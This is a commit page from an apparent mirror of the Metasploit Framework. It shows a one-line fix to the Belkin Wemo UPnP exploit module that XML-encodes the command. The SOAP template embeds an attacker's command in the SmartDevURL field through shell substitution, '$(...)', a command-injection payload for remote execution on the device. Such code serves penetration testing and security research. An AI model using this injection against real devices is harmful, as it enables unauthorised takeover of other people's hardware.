infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Land #11685, proper XML encoding for Wemo exploit

4.x
William Vu 2019-04-03 19:20:43 -05:00 committed by Metasploit
parent a14e92987a
commit ba4f129b6c
No known key found for this signature in database
GPG Key ID: CDFB5FA52007B954
1 changed files with 1 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
modules/exploits/linux/upnp/belkin_wemo_upnp_exec.rb
View File

@ -160,7 +160,7 @@ class MetasploitModule < Msf::Exploit::Remote
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body> <s:Body>
<u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1"> <u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1">
<SmartDevURL>$(#{cmd})</SmartDevURL> <SmartDevURL>$(#{cmd.encode(xml: :text)})</SmartDevURL>
</u:SetSmartDevInfo> </u:SetSmartDevInfo>
</s:Body> </s:Body>
</s:Envelope> </s:Envelope>